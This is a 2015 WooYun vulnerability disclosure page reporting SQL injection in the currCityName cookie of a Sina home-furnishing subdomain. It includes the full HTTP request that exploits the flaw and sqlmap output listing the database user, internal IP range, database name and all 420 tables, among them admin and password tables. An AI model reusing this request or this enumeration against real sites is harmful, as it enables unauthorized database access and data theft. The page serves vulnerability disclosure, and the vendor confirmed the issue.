当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101534

漏洞标题:新浪某分站SQL注入

相关厂商:新浪

漏洞作者: BMa

提交时间:2015-03-16 08:17

修复时间:2015-04-30 11:25

公开时间:2015-04-30 11:25

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-26: 细节向核心白帽子及相关领域专家公开
2015-04-05: 细节向普通白帽子公开
2015-04-15: 细节向实习白帽子公开
2015-04-30: 细节向公众公开

简要描述:

新浪某站注入可脱裤 附表名,证明可以脱裤

详细说明:

http://anli.jiaju.sina.com.cn

GET /index.php HTTP/1.1
Cookie: currCityId=225; currCityDomain=bj; currCityName=bj*
X-Requested-With: XMLHttpRequest
Referer: http://anli.jiaju.sina.com.cn:80/
Host: anli.jiaju.sina.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


参数:currCityName

1.jpg


2.jpg


3.jpg


4.jpg


漏洞证明:

附表名,证明可以脱裤

[15:35:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user: 'supportsjiaju@10.71.32.%'
current database: 'supports_jiaju_sina_com_cn'
[420 tables]
+--------------------------------+
| PRODUCT_branch_pics |
| PRODUCT_brand |
| PRODUCT_brand_branch |
| PRODUCT_brand_category_map |
| PRODUCT_case |
| PRODUCT_case_pics |
| PRODUCT_category |
| PRODUCT_category_property |
| PRODUCT_constant |
| PRODUCT_database_table_info |
| PRODUCT_decorate_corp |
| PRODUCT_decorate_corp_branch |
| PRODUCT_designer |
| PRODUCT_homepage_quicksearch |
| PRODUCT_map_city_point |
| PRODUCT_market |
| PRODUCT_market_branch |
| PRODUCT_marketbranch_brand_map |
| PRODUCT_product |
| PRODUCT_product_pics |
| PRODUCT_product_property_value |
| PRODUCT_series |
| PRODUCT_sys_action |
| PRODUCT_sys_authority |
| PRODUCT_sys_controller |
| PRODUCT_sys_user |
| abb_wish |
| admin_group |
| admin_log |
| admin_user |
| ads_agent_info |
| ads_info |
| ads_order |
| ads_user |
| avm_admin |
| avm_admin_role |
| ax_log |
| ayrs_ask |
| bln_admin_log |
| bln_admin_user |
| bln_case |
| bln_case_category |
| bln_case_pic |
| carpoly_info |
| cms_sp_t23 |
| dede_addon20 |
| dede_addonarticle |
| dede_addongarden |
| dede_addonimages |
| dede_addoninfos |
| dede_addonplant |
| dede_addonshop |
| dede_addonsoft |
| dede_addonspec |
| dede_admin |
| dede_admintype |
| dede_advancedsearch |
| dede_arcatt |
| dede_arccache |
| dede_archives |
| dede_arcrank |
| dede_arcstar |
| dede_arctiny |
| dede_arctype |
| dede_area |
| dede_channeltype |
| dede_co_htmls |
| dede_co_mediaurls |
| dede_co_note |
| dede_co_onepage |
| dede_co_urls |
| dede_diyform1 |
| dede_diyforms |
| dede_downloads |
| dede_erradd |
| dede_feedback |
| dede_flink |
| dede_flinktype |
| dede_freelist |
| dede_homepageset |
| dede_keywords |
| dede_log |
| dede_member |
| dede_member_company |
| dede_member_flink |
| dede_member_friends |
| dede_member_guestbook |
| dede_member_operation |
| dede_member_person |
| dede_member_pms |
| dede_member_snsmsg |
| dede_member_space |
| dede_member_stow |
| dede_member_tj |
| dede_member_type |
| dede_member_vhistory |
| dede_moneycard_record |
| dede_moneycard_type |
| dede_mtypes |
| dede_myad |
| dede_mytag |
| dede_plus |
| dede_pwd_tmp |
| dede_ratings |
| dede_resource |
| dede_resources |
| dede_scores |
| dede_search_cache |
| dede_search_keywords |
| dede_sgpage |
| dede_shops_delivery |
| dede_shops_orders |
| dede_shops_paytype |
| dede_shops_products |
| dede_shops_userinfo |
| dede_softconfig |
| dede_stepselect |
| dede_sys_enum |
| dede_sys_module |
| dede_sys_set |
| dede_sys_task |
| dede_sysconfig |
| dede_tagindex |
| dede_taglist |
| dede_uploads |
| dede_verifies |
| dede_vote |
| dfn_index |
| dfn_pic |
| dichan_weibo |
| dqws_background_image |
| dqws_game |
| dqws_user |
| dqws_wall_image |
| dydzjz_admin_logs |
| dydzjz_admin_role |
| dydzjz_admin_user |
| dydzjz_case |
| dydzjz_case_image |
| dydzjz_designer |
| dydzjz_pre_define |
| dydzjz_requirement |
| dydzjz_requirement_image |
| dzrdb_cj |
| eq_order_bill |
| exchange_designer |
| exchange_designer_pic |
| exchange_house |
| exchange_info |
| fddq_index |
| feedback_project |
| feedback_reply |
| feedback_thread |
| feedback_thread_body |
| fitment_accountbook |
| fitment_album_group |
| fitment_albumphotos |
| fitment_albumphotos_like |
| fitment_albums |
| fitment_albums_collect |
| fitment_albums_comment |
| fitment_albums_ext_rec |
| fitment_custom_log |
| fitment_diarys |
| fitment_diarys_pics |
| fitment_feetypes |
| fitment_group |
| fitment_hits |
| fitment_ref_categorys |
| fitment_ref_spaces |
| fitment_search_albumphotos |
| fitment_search_albums |
| fitment_search_group |
| fitment_sys_actions |
| fitment_sys_authoritys |
| fitment_sys_configs |
| fitment_sys_controllers |
| fitment_sys_logs |
| fitment_sys_users |
| fitment_tags |
| fitment_users |
| guanli_group |
| guanli_log |
| guanli_user |
| gujia_activity |
| gujia_stat |
| gzclub_subscribe |
| haier_topic |
| haier_vote |
| haopinpai_like |
| haopinpai_list |
| hbzx_user |
| hgw_user |
| hxmkl_price |
| ic_qa |
| ic_wish |
| icolor_weibo |
| imola_blog |
| imola_user |
| jiaju_news |
| jiaju_ref_rooms |
| jiaju_ref_styles |
| jiajupingce_user |
| jtl_case |
| jtl_case_activity |
| jtl_case_appeal |
| jtl_case_bespeak |
| jtl_case_collect |
| jtl_case_comment |
| jtl_case_ext |
| jtl_case_floor |
| jtl_case_goods |
| jtl_case_pic |
| jtl_case_user |
| jzxy_userinfo |
| kd_article |
| ku6_video |
| ldtcpx_user_info |
| ldtcpx_vote_ip |
| ldtcpx_works |
| lf_admin |
| lf_booking |
| lf_des |
| lf_index |
| lf_log |
| lf_pic |
| lg_marriage_house_apply |
| lg_marriage_house_index |
| lg_marriage_house_pic |
| lg_marriage_house_share |
| lj_comment |
| lj_pic |
| mkm_user |
| mkmj_zf |
| mkmj_zf_comment |
| mkmj_zf_log |
| monalisa_ip |
| monalisa_prize |
| monalisa_winners |
| monalisa_zan |
| msysl_zf |
| msysl_zf_comment |
| msysl_zf_log |
| news_top_record |
| pak2010_score |
| pak2010_user |
| product_database_table_info |
| qiangpan_ad |
| qiangpan_adnum |
| qiangpan_group |
| qiangpan_house |
| qiangpan_members |
| qiangpan_order |
| qiangpan_paylog |
| qiangpan_scheme |
| qiangpan_user |
| qumei_activity |
| qumei_count |
| qumei_game |
| qumei_score |
| sancarlo_admin |
| sancarlo_designer |
| sancarlo_log |
| sancarlo_pic |
| sancarlo_vote |
| sancarlo_work |
| sc_admin |
| sc_booking |
| sc_des |
| sc_index |
| sc_log |
| sc_pic |
| sf_admin |
| sf_admin_permissions |
| sf_appointment |
| sf_appointment_service |
| sf_area |
| sf_fit_style |
| sf_ftype |
| sf_goods |
| sf_goods_image |
| sf_images |
| sf_materia |
| sf_pro_area |
| sf_pro_image |
| sf_promotion |
| sf_space_type |
| sf_store |
| sf_store_goods |
| sf_store_goods_map |
| sf_style_image |
| sfy_index |
| sfy_liwu |
| sfy_log |
| sfy_pic |
| sfy_user |
| sfy_vote |
| sfy_xiaorong |
| shaihunfang_user |
| shaixinniang_user |
| simon_pv |
| sj_lottery_log |
| sj_user |
| snimay |
| sp_t3 |
| stylephoto |
| stylephoto_pic |
| subject_marry_cases |
| subject_marry_cases_photos |
| subject_marry_comments |
| subject_marry_user_lottery |
| suishoupai120_user |
| supports_ad_counter |
| syjp_vote |
| tata_home_message |
| tata_message |
| tk_admin |
| tk_anli |
| tk_log |
| tk_tuji |
| vcba_group |
| vcba_pass |
| vcba_shoot |
| vcba_user |
| vcba_vote |
| vcba_vote_user |
| video_category |
| video_comment |
| video_log |
| video_pic |
| video_user |
| video_video |
| vote_carpoly |
| vote_ip_carpoly |
| vpai_auction |
| vpai_auction_record |
| vpai_brand |
| vpai_ceiling_price |
| vpai_join_record |
| vpai_merchant |
| vpai_my_auction |
| vpai_product |
| vpai_product_type |
| vpai_room |
| vpai_user |
| w_weibo_daytimes |
| w_weibo_token |
| wnwb_lyyg_user |
| wnwb_sh_user |
| wnwb_sh_week_statistics |
| wnwb_sz_user |
| wnwb_sz_week_statistics |
| wnwb_user |
| wnwb_week_statistics |
| wty_brand |
| wty_city |
| wty_express |
| wty_goods |
| wty_invite_log |
| wty_lottery |
| wty_lottery_info |
| wty_lottery_log |
| wty_project |
| wty_project2goods |
| wty_weibo_log |
| xiaofeiji_apply |
| xiaofeiji_index |
| xiaofeiji_pic |
| yuhong_survey |
| yule_advertise |
| yule_category |
| yule_misc |
| yule_roles |
| yule_roles_usirs |
| yule_search |
| yule_user_tokens |
| yule_users |
| yz_admin |
| yz_build |
| yz_comment |
| yz_des |
| yz_fpic |
| yz_index |
| yz_log |
| yz_pic |
| yz_que |
| yz_themes |
| yzf_admin |
| yzf_case_city |
| yzf_case_comment |
| yzf_case_content |
| yzf_case_designers |
| yzf_case_first |
| yzf_case_log |
| yzf_case_target |
| yzf_case_user |
| yzf_case_weibo |
| yzf_designer |
| yzf_house |
| yzf_log |
| yzf_new_case_content |
| yzf_new_designer |
| yzf_new_designer_group |
| yzf_new_house |
| yzf_pic |
| yzf_work |
| zcs_photograph |
| zcs_photograph_mem |
| zcs_photograph_pic |
| zq_keywords |
| zq_keywords_cate |
| zq_meta |
| zq_title |
| zt_action_click |
| zt_action_user |
| zt_vancouver_chanpin |
| zt_vancouver_pinpai |
| zxhgj_subscribe |
| zxkx_insider |
| zxkx_user |
+--------------------------------+

修复方案:

仅证明,不深入

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-03-16 11:25

厂商回复:

感谢支持,已经提交给第三方合作处理

最新状态:

暂无


漏洞评价:

评论